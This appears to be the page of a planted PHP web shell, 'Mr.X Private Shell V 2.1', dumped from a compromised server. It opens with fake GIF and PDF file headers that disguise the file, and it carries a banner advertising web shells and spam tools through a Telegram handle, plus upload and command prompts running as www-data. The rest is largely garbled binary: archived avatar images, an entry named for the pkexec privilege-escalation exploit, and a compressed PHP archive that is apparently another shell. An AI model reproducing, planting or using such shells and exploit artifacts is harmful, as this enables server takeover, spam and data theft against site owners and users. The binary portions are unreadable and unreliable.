GIF89; GIF89; %PDF- %PDF- Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.129: ~ $
PK!�o<ww67c1be3c7f0cd.jpgnuȯ�����JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���PK!GCONV_PATH=./.pkexecnuȯ��PK!�o<ww674dc9a7e6beb.jpgnuȯ�����JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���PK!t8��

4yd0ui/67c6da0a349ea.jpg.tarnu�[���var/www/html/back/storage/app/public/avatars/10/67c6da0a349ea.jpg000075500000001567000000000000020047 0ustar00���JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���PK!���

4yd0ui/67e272b25bcec.jpg.tarnu�[���var/www/html/back/storage/app/public/avatars/10/67e272b25bcec.jpg000075500000001567000000000000020050 0ustar00���JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���PK!����b�b4yd0ui/orb3c.php.php.tar.gznu�[������r�:� 8�`��G֑-�~�K��ݲdɺ�RU}^J�$�BJ$u=]�cm�Fl�쏙�1�3�
=�0/���H���]�����=�>%�H$	 �H$kNa7�
;��3��
����
7Xn�`��L�ܚ�8Ee�6��+���~x�_�����D\�B�H<#��=�����o����"�5�o����3���/�)��_��g� �f�I�(���G�_��s�e�a�)�&ʒz~	��4q.0)F�.f2/\y�53�	W^��|������v�I#�q���<��(+�/��
�g5������B�]]�5�v�����^���(7��+���en��\&^US�Pmg�U��7T+����^�oxΉ�|J��[�f=��1��͹]�q���"f�
�9b�p�ځ~��^_D�a�����ESV�퐛�����$����cP㨂�P.J��K^r���,]��H��;HфI@1�8��Ѣѷ�?rw~�ۼ"j�3���8��z��h���g�M�7^TP1���0�{\�5��$a�6D��u��ǻ$�cy��TqO�0�Q��!�(�H��C���P��I��\�#�C폤��h/��{�&3����� P?�s�4:=�H�2�h>+H\&�r#U�Z3Y]�\��;4<��3��l,��GO]�d���lE�ͤ��Y�I�����jo}N<B����I�l��|�������ߨ�h�۾+�<�př� �4�9O�\�2 [��K�����I4��̥�
���ޝ�j%!�����#h���Ȏ�}�abD��z��\Ay ��T(m �S		=		'�5C�'�W�X$`~e.��6��ṝ���"�qG�w�g6:	����"e�H8�f9,"��"o+�5����_~a>��o��|���z~Kg����[%]-���<Hd��R:{~CU�g��DT7mg�U�1��)1@�dž�?�^�
ƌ#��T�|A"R�l4��;��}B�A����5��H�gg6��d�笏h�����?ҽpO1�ψ*�H�sHġ�0���tF�˜��������I�w���J`Q��vu�	[
�1��}nF�Q��._�b8(O��"1֯�5=	>���{/�P�b@��'� �U���*���Τ��*ԫK�Amc@">`��PweIA�/�
�	���0g��(ȅ$Ӏ���k���?�E���y��3�%̘Oh��{�(�
i��	'��[�1{�u���P��	(����4����n\�BP檍��8k�Q!ޢ6֙
�g�/(?��/a *	&�ʋ+���	l�H�2���9IJMy04<�tT*�Us�I�h�64�y_Fk��HS��	l	[Š�!�V3N��9�'f�Y�d��<eԅ0@s�
[����-bŖ�&����)dń�1�hHλ�68�1hbZ1J���
�‚I�lKSI�H6����ʠ9�ek�5�˟��B�_�n�A�
5��@	��h@���_�,#�z��8��A��jy�8^`���~���K5"�F�X5^deƟ(0��jB�FХ!J�v�:L�R�s]<��@%�IA�塩U����r�Tܵ�].8��\'�u���i�^o<�{OV��Ax��-<I.��P�NE�%
�P����!������C�!�5����#s�	q~���hxG�6� ��z���U@�!=`�wF���knv�g�f��V�$c�B�D�����_������E�F�$��o��{J?xO#�����N�}�'��?���>��ߑY��DE�kC���D0��jH`ПU!6	����	[Q��C�����ru��%
�por���Uʽe8MC���w�&Ș�@5�%#���1 �Q�v�Z,�l��Nqt ��u� 
��d4�i7h	��)%'�E\��b�X��PP.p��?��Ai�[X���&�,9;�|��J_y�
G#��U�h�N5�1s�hA��5��;��d�t�\(��1y�i(�H.�<c�"��I�L,
�H�C���KR�J)?hՠ3K�*��p0�U��q�ha�uN�1x���&�0UYc
�J�z}
_m��ij��Ro��;�R��?�"
�lj�3T�v�h��$D��%��o
�<}�@�y�8Д#0w�D뇯�S�@(b�z�Z�w�@�W�=Y���P�r$���)�!����Ww�)� �Չ��}lAy���A�F~PB��M��^���Q,��	*���k[7�^�K4���2�2�q��n���8#��8�+2DS0�p?�z?�R��D�J���e�70U#=D%�Ξ9�ï�1-���DK2�K,\�֕MHK���'�:�w悒`���1V�0?�vXۨ3�N#M{�v�W��QC���̃W^~�d
�am�2�#0�J��Ztק:��K�nR�/0�ڌ������������D0W_���.�R�d�*`�Q��I�P{(�����`Mop��;���;��F�Bs6��F:�d���!�gf�RW}USL�k&p� e�*���x��(땭�I�V��WTK��Z������4�[(��
I����Sk	n�؈������Bb�C�O%NSeE�4���uї-�XGF�v}	�ח�G����q���I���1G04��o*=��k��Tސ?s�X���/hԡB�����	�L�$��s��".$~B���3)�3��{*��›&��Xc��D��>ח�0����Pm'aeuMz]?u��z)a+&���3�� �tE��Q��ý�.�_<�5��{nQ1~�=����;W}��`Z���i�����?D�����8���ly��.����e>u�tS��0������gB�D˱p����S�VQf�,ԩ^�@��C���oK��<�h`�E��{�����$�*�.�2&�R�3����LT�����!z^p���/��1'��]Y9�+�ao�TU|�Pq�*B_@�X��:����ޞ*�(���%9��?��d~�ޙ�p*�D�`���ٍod��5���pY�/��X/��T4/��E�5�(|C���c��-	�����錘��o�ӥ+lT��(��0��SP�S,f�+��Ko���IW�t�m������C�ɥ[�L��o���)!�_Y��M8�$l��e���֭��׌3��uI3�E]�>�ir4J��\�4Q�����	��A.i}���t��tsO�	����h�3��v4'϶t�~�)�uW�0ᡋ-L�(���
W�J׵Y?L1͑�����h1eV������b��;��RA�@�̡���7Բ�N�B1l4�f���)TO�ٺsv��W�E�R����ܮ9�
)2X�&^�Ι{��m���Ve���IH<��\�3N��&�(��o�X�#�r�ol٣��QPz��6�Q���w[0�a�$0���K^��h�����Mb�D
7
�%zϰ�aaj�X������n�I�`ـ$C%��XUn��>]QL^R�^QQ:ݡ�a[�$!m��ڒOx����ڶ�u�;�;��K�Z)��ehX47(Y��r�D��|����'�>�
�IZ͑z.�xլ��ͨ<e)P�G��5jτ�L���_K�V��t�~<�H�ʛ�+w]['�ȧ[yZ�A��
��k�$�j�Ń�7����K��c��g�R���Q��G��>�M֔��|�Ŕ����#L']i�Wj4I��v*&��3}�=�r�
����J�R3�ʺ޼@������a�\�S���R��i�^=̝!mP�`�D�����&�D{m��pr���4���F�f@��k=��J�[��Ru��|�������c�$�d���3FшO�<�`J���a�LL�r2��J���o����᥮�~$H�x��i�L��R�=�4Í��vE��-��N��� 7�Y���4u�������7���`���*	Qr������ђُ_2��N^1�>l8I/3� �
����%�yP�Kp��9��LD�7��/e��!�/�e�Nl�$�����iC�z��:٣������rt�������-
=�?��0��(�	%�b<j���N��{��b�s�N����)Zr~+V�����&:`�Gž8��Y�j����3͎�$�B�]�Mhj��6
m�[r����d�|�烪P��y ���P��CB	
�F*4w��`2S����.�2����݇����TG���uq�IԺ8E�yP��d���%�2�TC{�Y��U�w26Q�J)RK�F��,�=g�-���1�ZӤ=��@S�Q�_���F�����a~����}�k!�����t�q,L�!�4Z��J������vh�20�2��Z���<lE.J��v�� ����nD�G�	-�#��4�
K��y&+�LM'S�p	�lfLb�1A�9	�H��5� �ւ&)'�7��9D�h�'(7t����n���B�����8�d���"�S�n�l���Q1�f	�p�����E	O��xmGq#ι�pˬ������[��]H�;҄�b'Skl��HN��j�=ηG�)��z6��r��l�C��gZ�|:]fK��K9VGG�z��(��p2V��,��Z��^�
7�XC�D¡V~~z͇ri%��.���\�mBl<�-;�������r���!j���d�����…�L��>��f`"m/�V{�l�Ĉ�0��TE�ldu�Vϓ}����jx'�w|;���g��<*,{�K������<������2����6��'Ê��i�rx2����*4��vw�g�*dÓ�<���R:8y��I���B ����<�:?~��R�e��^h~z�I�p`3LF;|��_;����aXe}�p�qԔ��Y���Z"Y��7;��`z��C��V
*e.��L�R:<�*��&�xB�Rx�����!��z��h��*�&�r�Lw��e�|���x�)�o-��d��8T#6�Qٸ���;�/Ҏ�rO��S%#E��Q��{�g³�pVZUX�U�
*���u�`����&�ᖬ>����f"/j�ྻ��ԅ��|�ru�,7���K�N$5^ۇ4���'��%�5��n5�d���$���v�ʧÛH�3����7�
�Q���&���fT���jҊ�꒶G|�&��=a}�
�EQxڮ*��>�W�����!t��6ОF[����N���Z��|�����w_g�|a�=�J���}�g�yg�{�mw/�d�g�z�.�C����i1�h'��\w�Y{�퓘ϊړ���'�5����F�1T�lD�۟/[�,��|p���&;�>i�H`�K�;��xԝ���궾~�=t
U��oĒ��6�$��V��k��Myĕ
���OQ~̅�PK��c=_=��_�l��Jl�bX�䆳P;����ZPC��0Ec�SzI���V9V	��ūo2�-V�Pz��^g�b�n���j�7�
���R|'�g��:����j	���h6��6�2�5r��c���c��+���h�Ja7�tF����}Dr�PK%F·�XL��]�>6j۬3.P�gM������<������Lf����+`���al��M#�nMbc��@d������t�e,IX��}Bؤ!B���0�l��L@i3�/`?�#�Zw�
�j{�ą"k2����-;�$���@3��֝���;Z�����8�&=�p���d�c��k�B=����=����4@��?�W�Pk���|��Qk�\)w�U�e����䴌�U�h'�Yto
ks�d<Ԛ-rNņp`[�Ŋ|	'�R��[Y���:�=^W}�V�oέ\c
��]�=[��*��x�Y]p�����{붰m���#�ٕDI|��\0m/���~�
*���1���3��g��!{�GvV�z�*c�?uA7|nE8p ��+�!2���a���|T�s��`��b!(���z��R*1;	n}7�z��M~�:9��V��xV^�C�Dr����/�<מ_<�:��6�]"4�`L�Y1��A���X�n1E��Ay#Y��+��qA��զ��գ��`W���5	���]w���7��L�T�^/dT�� �zwnq�w b���k�s���Q��R�Oa��� �(N��f`~�s���A��� �ʒ}�M$~Ì�;Wz��v4��O�`EDC���x����C-I�8:*{(�H����];$���!� �W`m�8���Ν8”������7����?1���Ͽ�{�o�=������������/����/��#��w�O6�
�~��?6�8glcM[̰7��fU��_��ѐ��q�%��>���b&�,����׺�4�`�ǎL����VS�\봐,`�>�<YE->}�nY5�ݲ����(c4z���K�t�#���u�5΍J�I���j8j��+��9M�p�i�~.�\
e?>��*�Q��v$-���]V�ަ���b��`��9���
�l�������}��f�o3GŎI��9�'�m"�</Xg�-��	�����&���C�U�L�ڞ@v�0�-w��c�`�Ȃ)�菊�m�[�i���66�<�Vn�62�:���ܚ�PY���2��<'�����(�����թ
��!�f�;9���a�>eF�¤���Z'�6��'Z���ܩ������G^yQ��yD�^? }#�nؼ�
bc�����A�8Ƣ!��^�t�Ζ�(�@J1�rv��pf��8!���\��,d�;&+3����at���\PF����^�r0:��=���z���G�$�K��S�{���v�1R�CB�e"�U=��-��u�1V�}un��&l�r���)�_�_�7���F6��M��+P��D��K<S��F�C��B<��$BO�6����z��#Q�K|{���浜ʶgK�hAV4.8+R�ha�� ��������ѫC|�'ƙ	í����;Ѱ:+O!����;0�>Ne(>��A�a�V?�Z~�5� �ɻ�B�k.����O��~��B�H`Y�����(��%z�u�Zc�ֶF���v��6E�
a�bqr������&���qL!#No�VԮ�#g�
� Œ%�
q��E�9�;Q7K������l�V�`j�UJ�iMu��%™���5B��.N��!�y�ۄ�ё��a�;��U_���C"	�h�:��-��)���PE&kϟl��M���[��x�������﷋o?���'�9\kyz��<#l��ua����4|��l'
�x�u���l�\��\ܹb�,2RE돽�0Jӗ��[�)��j�0�cq/qkv�u�������W��^�u��rM�n)�"���� �DCh��1�,4�0O���0���йi;Ln����렵=�F���ȘU��k��,򌮢,u��9�0q�l<��Y8�&Q��/J�Qׇ	x���c�V}{ȿ�����i��b�=�>n
�QG�E���SOU���&�`�$�m�l��w��wd�D��K3�
�,�yavv�Ii�:�_wT��أ������F��O��z�+U#A�ӡ��iSg_꣦+�!��]R�Kb�f��Q7"jK����og,LK�k&�z|.^3��s�DR��1�zn殙X*�����?x焵�g$��n�sé!=u�F��a=y!�����|aK�Q�n3��a

� a��D� � ���yqs�ai����4���~Y@�\�_==��a�z�IZ$}��'�i�'Q��r
�mwL5R?� �-��֩Fkz|G�ثN�뛃��zM����f�eE �Z��c���m0�wV'B�o唛�!����d�/k�<�f�$D���	���O���&�(<'�|B2� zq���3�w��,&ɰ�V[T��f�%O\#�x��AP����6p$K;����Ro�'M/�����o�Vg0���V�0Ńc2�Y�I���u,b֤�P�Ig7���U�m��ع%�Gx��2�\���{�?�� /����ɶ��3Zۢ�n�����
2'H��v�@�U�1=�3j�J�R˦[�Z�o6+oha]*t���:�Q��|���C>�CP�;`�|!���9�ȷڍj���6QcS��A��
[aMd�8�IJfۙϟ�Te�M}����d����������S[$Q�f�b�}]�)��U.%�
���$���,��𡒮<��ܗ�҅��H.���3���X�]�a�IO�H{YxF�l���F�'^��(��?h��džO4b���zf�Pmx��`�{=�ܵ(l�����N�b#��8�����׷��nT�X!�x���ؿ�T�W��3K>�S&��~�ę��K=��rsq��=;���8�R�9K,�Ws$�D	���囻%;��-�еOk�^<Z��^�@,�L�a���%j_p8}�ݎe��nf��bI$��`��p>�6�Xr
�p�p�0�D��l�u�X>�z�g����\[��S:��dc�Г4�!�)���qJ�p�����p�o,@l@��(���5���#�ב�����/��w��"����ޟ���,��:�����>��sYk��z�L��h��a8�`�b��	��X!)H�2�;U�����ĀP�����~$$�Zٓ�W��(�M�k����t�ڈL0��[����X�lw&(��@n��`�Z��&�A�b}��#���΂��fdw�| �6lr���,Wf�\1臫r?�5��\�!��z�~��N?L8�S�:��Ea�׍l3"�gym��K��cV����fwY�O�My�t�i�=�7�v��Gb�V��٧B'��Jr9�NK\�6��J���#��	��I_��*���+AMDC��f�Φw/�\�Q��풐��m�U��U��/?>�����e{���I?�}Ϲ�RR��Q:#T�*�t.���O���a���l��f��A&0m�+�R���gb�iy�~�(��g{�t�.�*�Pe�.��t1-
}�V���}��x���ϲ�N��6��^w��G�ty�ܑ�ta�Ig�f�MWGZ:�y�z�t%N?�j��j�N����Xj/��F�W*�t��Cy��� �h�V��`�22��f=����lp�	�qD�O���m=ԭ?����j#�{�V9SM��Db�Z;�(4F#�9)<Ej��U�X(7Kh1%Qdw�bw��|���
����d}����g��.K���!��V#~(TzJ�^i���u���I<�_�ӊ�	��hu\�����u8�J���A�I���`�K��k��y��6�>�*��h�q\��r�*,���J��R��d�v$�o��\��Q��v�Y�g�ur��o����i�(�ү�F����s���_Z��z�N?���C���FE1$ì/��ma�FJo:o����>��Zeu�>d[�l��d2E��)f���x���L�ݎ�r#�����Ǚlv�L?<<���.[�⾟�Q�Z�i���ip%�5HGV��K$7	nr�b�}�gʕ]&[odv�Q��|��tAg��d4z�w_#�A��AP��ܣ�i4J�U��m��]*tJ�Rr0*E�mq���Qۍֻ�:?��J�]�n�*�܊��r�(���C};�/��>P��sw��a}=�䄯�l6�Q7��s��V�f��H���]</*靲/7��&��H�n·�7���ζ�y>Pu�L�0~z�ǻ��h��X�Ls��C�qWn-�"7|�z�;)m�q��}~�ˉVe�����|uWo���c|^OO��E���k��<�,��겧�y2MH\���e��6ʮ�:��V.�{�}�qb������kEھ��V��X��k�@�ޛ�s��W��ZH�;u$�b�X���� ��|"UG��c3���>���|��=��7�����͒�׀�^4|�k,��7��x���F�R93�Ӄno;˾n���"jo�o��e^z��l�錖��Hz��S�5�Nq'�;�r�T��H�$���Nɷx�U�ʴ�y
>O�u�=[j��"X���퐰��ć�\���:�x����2�>m�ܢP�v�~ꎲ����������k�Qy��^����겍P\܇�K.��姠�o�k��$������m�5��rYxM�c��.�E1�
�*�m��U��u6�fYk,Ce��VqN@VA)>�G3ۀ,�f��^��eza�����ܠ����-%���%k�徖������JJ
��S?6�~X��
l�/�؂�<�
����L3�����Vg��o�Jb�Ot
��A5]�uƳ��k��l��|BNv��v�yR�����i$.���qԝ#Q]i	�j|�h���y���[9�i�?�J5���6��Hs��F�C-�ᄂ�jK1�*v�U�[̤��lW�}�:�Ng��N���,���Ul�X�g�i �HZO��s[M����AO��v3�j��C��KA�yIK��6�Xkݫ&WR�ʶ�[���8���Bn�R�b�~�_=�Å�cQ	��6��=O��s����:�~ �K��D��bi�،T*��WY���.��F��l_�B,�~���Z�
ɡ������<H�M@�ͅ�Vuxz.�}�F�ϳ٨��T\���s=����Ri��T��W�6Z�^��q|;�%'ѝ�{�E��pxR^:�S5�
�*�J+Q]K3_!��%69e�
�g�Q���mj��v1��}�D��=�~o��BB03)g��F'3�����5�4򮶫+͇p4:�M�E	��j�H���Xل#O����qG(>G��0���k�u��p�k<���&=�Qe,W��o)F��U9��4cω�7��������v���UuU���k�EX���BI�Bp#p�ͺYXl�Ee\Rk�^�U�j��M��^.3�����w/��$e�RIdU�X
嫃�8ZKLG���,&����U�Uj/�qVXL+ۧ\{��K��X�J�L>uk�i/��/�q�W�|):�v��lܯ��/���K�����J�ӫ �Y_��NA��;�A��N�c�]�\�q�$���n��V�jt��XV˫�f�W-��Jg�_j\R)�Qu��
�Z�lۅr���Yn��2T��;��Z�D��P	̅iPu♝\�h���h���0փ�/ȷ�#�C}��pY���Н��q�_�:��H?Lf���)�^��Xr�����1����h?��3���G�!~����&���JtX-WW�Q�����\=n��W��`s�yn�}�z(�Ux����W�7�c-�~����K|f[�ǵ�uҝN5����ڣ/�~���+)2C��\��}ж��f�
<�6�P0.���p��hN�]%Զ[��]��.P����Io_���M�A�Ɔ��0;r-���m\���d��e�WB��|]��5_k��lk%6��_�%%�H��\tx.̢�u��{��X�Қ���}d��z��P�G��\_Vz�h���}�/�h��WVD�h�[�^������ڭN|�:_&b����	v��j%��TYq�2pqi%(���c��PM�d%M4�lP{j�0�Vc}vXH��Â��8L��U<�:���P�����V�g�pw�y�}��d~H.7�(�|4�Aq�}~F�ep�I�2]��V�\��H���֒��p%�z"9��Xgc"��V�mw=\O:���Mro��Ekl�u7c%��סD?��|����t�km�:���ZN&�[�F����$�;�@y�n�)�ȧ��=[|�Wx�u��T{h�sl�9�fc��"�<���-�[xW[h%�IX����ڨ��4�	�t�+�]��/�VHm���0��z�=K�-_o$��p4�֭ծ�}�p"]�$��c������S�3Ȋ�q=���`PM�{���0�v�e��(fr|��Y@�~�1L�C�䶳����ݍJ�H Vf�}��F�4����Z��e}��XCl��c.�	�p����jxU
h ���VM��O��o0l���0�-����
h�M+T��{�t���+vF�J3V��P!�s�|r�{��c�u}�i?�K�:�ع�DK��ZhV���v2��Hr-��=�kf���h�5|Y6�h%�����o��*�u4Z�b�=��֫@�\LN���4�*�_K�Z���KwUo�뭗ª�� u�5��[Q++��f5��Z�q��vZ���F�r�^#٭�*aiY�I�jf�P)�I�R�1,�;�7�]=�����
//IN�)�l!S�ˊ\ډ������\���~Q-
�z
����j;�*�:�,��O��sB�鴠�C�֦r���$��q7S�ɉ��==��a~�f��,\�#��njm7�N{���Y�5m���l��K-!�L����;�v�?� �A����a����;�v�?� �A�iv��(���C��LbJ� ���۪gĢ����m���ҥy@�f�q�.>�-�F�}+�)=�ӂ����Ӯ�}�䷅qf�K�%�F])'ϒ�d�+v�H����ƗL���(�Ȯ�>���&�a)�f��}n�H�'s����
Z
�3JR�#��6�@h���Rw.$r��K�I����)?
;��@Aȕ�ʠ�8�ɦ���iFry�,?q}����O})�c7�_�J\	��2�i��D��d#�η�� �y&C��6{؇�
�7Y.���%�ת&����By��jս2�FZ>�	d�����
�g�ܤ�lW�����[�i{.L2��n-��Ó�ɗ���\�>u�ؖ�šTZ�Fl!~�E��Q���4��bf9T&��?���|\,�^���p(�r�P4��4�m�i�o7_:�jQ��Ҫ��-���f��>�ב2Z)��ǘT�L�T���a)����^���}�?�����2����%?��3y�O?��5�_��ŧ�coVJ���|�a)��B0:~�(Zv+���Qw<j����H���"�}�*��8)��w��N(u��`Wy	�>9�Tsa�m_}	>])Ɵ�N��~�K��2���/Ν�UԞr�ώ4�p�Ѹ� ����7�
�I'AC�biΪ������ ��m�%w✗��(�!y����Ճܧ����>�!i�&���U2�J�~�h���_rc�(צE��|k%�TǺ�>��,�XZڷw�s��i�K�j���L��̮R�s��c���O����N6�Xv����i���v/��b^�E�h�����U;y���/�x�Z�U�P_|�#�ò��YTx�T�]��*�El�4�k�!��
�y�gW�uXIVW�l&�섢\p�y��q�Ml�����6b�Q�$�"�[�Ni��#[TF��:�ψo��B,
>V�|�j�N�7��U��J>��UEܔ��D�����z����DK=�2{H��@";��9>����\�ګ^ħD�!_Be7�E%̇�m�%8,V96����� �l?���xy����MiY�*Dn�W_b��UM��*�O�d�,kC��J�y���B��4^�B&��{l�qx�Z,�mNK��X9��U����YO��x�i�:Xp�/B�L�<Z������%t�E�2�d_���F���Pa׫g2�bR�53�}��ugݗFt0�͞��=6�v�P���/�s]�==mŹ�|./�Г��U'��f��:�Ǯ�[�l=M
�l^ˌ�n�1��V��C(>�Ʀ�̶++M���E�Co:ճ�NkZ�i�V�Dz��Ӝ��
�\`��wҾ�����$��2�@r����lv�]�8	�Kـ\����hN׍��)g����C���^��R����^1�W��^c����\q�eB�^/��˕��o[��+��Z�=��Ja7]nZba��Wk��H�����=7Ѻ��&=�L�Nt��r-�lwj�r4�-�RD��e.�"ǨE$%�j�m���m<Xl�`������pM���'����f�w7�ɜv;��!�;���c�XN�V��$�UH���8pꮧ�����W�����Qȣ���O��E�}O��Ïa���ǁ[o�S����v����9v�G?_��%98�/��2���w��a��LY���_~9~ ��Y@�8�k����s�p���聘���w$��L��rOƱ3���ӄ�>Bs�	u�߀�E� !3�L?�C�4���5b�q�r�IH�QpT�z>����̌�k�$As�VA\&[��<�з��s|��-n�~�	�b�!��
{��8Mg��1L��q���F1�a˟E��M�X@5G_�,_~aU��C��
�1��D�^��K<+��X�������2F���@"J���l]��$��8p��Z#�'Pmg�N<�\%1[�݄��16땣���k��w4�)��m���!h�P�'OF��I>�Hl$M���q�5�?K�;�ӃM�"�H���9���)��ǟ%*���n��X ���?�����O<��D0��k�l�.�9�O��q�!\��7�g��.B�z��&�+���}�CDÃ�n�~q�J�˖藌j��9�.��fpLgW%T��#A'#,U��b���.i[�&GTՏ:T��yy�aܺ/���^�u�������h�0�kT�+����G���KG$��G���u�y���~a��q.�ق�<yY���w�̅F�hf?Oja���p���@H�8�a#Nl�h�X}ļ��x�@�D>@=�Þ�D�d;R��K��0�Tԡ��Rb	%���k�'X�z]��Aw���֏.Y�J���w��#PKN�#�%utQ�c�~�Dz����k_��S�N�{�y���:u_�Z��
�B�I_�K�R)����o����TsU�>�P,����ۄ�hE����3Ц9�big�y��\	�[��UZ7����W�}����"�
��%h�>?;���\LW�<ǐ�b)KQ!t<&�x��/��d�Ϙ���n�;w܈���aZw*�w�(�����nd���	�YisJ�B�"Nݝ_�dݲcd#�-��B"v�k8���p6l���R���V�6u$I���\�����m�⸋�E�Hd�,
p`Q�����!�1O?�n���T���_�yh���	*_��⩛%B�j:y��~�/}-A�
sG�c�}�|���h�]�Kqu��;
H�zG��x����&�—�^|f	�=�`�9��6A��	�*rk��O9��^,��>�����B� j0�
^��q!.U��ez�N�~�*�R�M%Lȧ;�ļ ��&neZ�fwEl�o���,8L�qR<��a��t6�[
J�̞�^�XI)����Ҁ�_=����S�u�f:\�l�J�:��#���Bb��F�C9AX�v�^���%aC�H�ԏĥ���t$�&6��S��Th�<GH�`$
c�x���@�sw$���%r%�X/�x��ȿ	��
�����������LnΜ.W7S\����	l�5��Ҕ'�a�ԹZ�t$�	z��6F~F�-t�T"�A�>�$�:�Y����D_��C��d�PY���Gu���p3q�4��;�Ec����1xqd��=����N5��d%`}':K�XC��%��3��@���.���ka�P�@�f8�ӕ��{mꍝ��~��:��|π�P7ub��L�4@���d
����e���U ���Q�L$���\��ă���	��|<,�����&	*ͮ3�� ^�ա`��]E�l����F,\>����:�{��
X�T4U"Yr��4���&��S.������
��V����җ8���6���`�f߳�~�����M9!�L��~
�1�,&Oc�ްF�?^��q���)9?(�N)��@cR�����H��л> �H6��/7�&�9���× �A���c��;@z)��C��H st�Cd�3K{�M��=��mt�+��w;��s�]�8i+r3�D�cy�lW̎����V<҈��1GK�
�Ͷ;:� C��2�,š_��1!��F�'p��KC��kz��������m����
�d7ʴ���P�}�N�]i^���8��ϑ���U3��8B�����,+)�l\�c�c��cm	.�ަ��|ȉ�+�9�@KUJ�a���f�삓\���-x���ܖ�0\�4�"���(r�M}�:��ݕM"u�������~�J���E+Jw��T[�w��Q�F|�ě���2�"I��+��-�.����X���
?F9��78�����>�C���ic,�;ܨg}w!�\�ZX
=u�)^��Քщ�\��(A��F�-��*i�4m�V�i$!��1�N���IC[�F�_��7b�)̼9�,�����s��[�yͽj'v*��`�ӵ<�^�
������Mc��&������!4
3F���w��2]���2�^���M7q��uҋͅ=�O|['���Fo.�Ml�KF�U9&$��{qa���R��/��WxS2�q�$YH�!X}~�qt�h�	*�6���7��Ř�ۭQ�2���r���:ao�+q�y��g����Ke��X�n$�6j�؃��E�C\co.�j�d�ȼ��oT���
�M�n��$�ƕy��5]�[P^�X�:^1����%"�Kt\UA7�����|ǂ�*d�f;���v �D p,2棛'�K�$[��ݹ۝[�C��������.��fp�uy�S,�`��n}��G����b�33 ����l���`u�����U�5.��������"�����-��1#i�(,��rx��E<�d�o���efk���&��ߣ�c$�ٿ��y���|�����Ǯ�S$�҃�e�B��w�|�Țwt
���z8�$�W���Q���k{C��<�D|��RX=�[��+����2�`��7�fe��Օ T�\�
`��ڃ:��qv�^�#��� ȽN�p��&�#��;��{T��
��|�W��{�~X��c�^�������ѧ7� 99�Z��N�4�?g�=�{><�=��i�h�k�ӻ�5t�7N�.�wZ�ݯ�$�ͫ_y� ��h=O��Rgx�s��k���j��|���J��j����U��u��VN��z��
�?V8��<��X�����0���]1p�NF��e���et�ؼA�<���{Ø���.��v�m���=��ݐ��<*�ǿgv�%���4C��T$����/���.hΫ��G����C,���W�7SMf�>��%���)�/���
���NՄ9<�2f�>x[(��
�M�EPws���S�@V��7s�'���9E`��9���d��E���w���=�pRW{8�/�ݹiŴ�
�1ћ.��#MEUA��G�N�"�Ri�N�V<n�O�����|�Y�U�z�b�w& �#AC��
�m��͠o��
�#�kn&��ij����4�= �)'�@u��3���Id�Cc�R^i���b..��]��e�$��Z�`Η$�KS��
���-:@j�F����M�������=>��h[#"VEY�����MQ�P)��d��W�|�=;K��֍N��Փ�e�O�j�Q��t�#�1ѹ���T
